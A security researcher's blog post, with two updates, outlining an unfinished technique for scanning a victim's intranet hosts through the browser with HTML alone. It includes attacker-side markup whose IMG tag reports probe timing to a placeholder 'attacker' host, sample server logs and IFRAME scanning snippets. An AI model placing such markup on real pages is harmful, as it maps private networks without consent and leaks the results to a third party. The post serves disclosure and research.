

Browser Port Scanning without JavaScript

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Content

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Update 2: [Ilia Alshanetsky](#) has already found a way to improve upon the technique using the obscure content-type "multipart/x-mixed-replace". There's a [great write up](#) and some PHP PoC code to go with it. Good stuff! RSNAKE has been [covering the topic](#) as well.

Update: A [sla.ckers.org project thread](#) has been created to exchange results. Already the first post has some interesting bits.

Since my [Intranet Hacking](#) Black Hat (Vegas 2006) presentation, I've spent a lot of time researching HTML-only browser malware since many experts now disable JavaScript. Imagine that! Using some timing tricks, I "think" I've discovered a way to perform Intranet Port Scanning with a web browser using only HTML. Unfortunately time constraints are preventing me from finishing the proof-of-concept code anytime soon. Instead of waiting I decided to describe the idea so maybe others could try it out. Here's how its supposed to work... there are the two important lines of HTML:

```
HTML is hosted on an "attacker" control website. <* link rel="stylesheet" type="text/css"
href="http://192.168.1.100/" /> <* img src="http://attacker/check_time.pl?ip=192.168.1.100&start=
epoch_timer" />
```

The LINK tag has the unique behavior of causing the browser ([Firefox](#)) to stop parsing the rest of the web page until its HTTP request (for 192.168.1.100) has finished. The purpose of the IMG tag is as a timer and data transport mechanism back to the attacker. Once the web page is loaded, at some point in the future a request is received by check_time.pl. By comparing the current [epoch](#) to the initial "epoch_timer" value (when the web page was dynamically generated) its possible to tell if the host is up. If the time difference is less than say 5 seconds then likely the host is up, if more, then the host is probably down (browser waited for timeout). Simple.

Example (attacker web server logs)

/check_time.pl?ip=192.168.1.100&start=1164762276 Current epoch: 1164762279 (3 second delay) -
Host is up

/check_time.pl?ip=192.168.1.100&start=1164762276 Current epoch: 1164762286 (10 second delay) -
Host is down

A few browser/network nuances have caused stability and accuracy headaches, plus the technique is somewhat slow to scan with. To fork the connections I used multiple IFRAMES HTML connections, which seemed to work.

```
<* iframe src="/portscan.pl?ip=192.168.201.100" scrolling="no"> <* /iframe> <* iframe  
src="/portscan.pl?ip=192.168.201.101" scrolling="no"> <* /iframe> <* iframe src="/portscan.pl?  
ip=192.168.201.102" scrolling="no"> <* /iframe>
```

I'm pretty sure most of the issues can be worked around, but like I said, I lack the time. If anyone out there takes this up as a cause, let me know, I have some Perl scraps if you want them.

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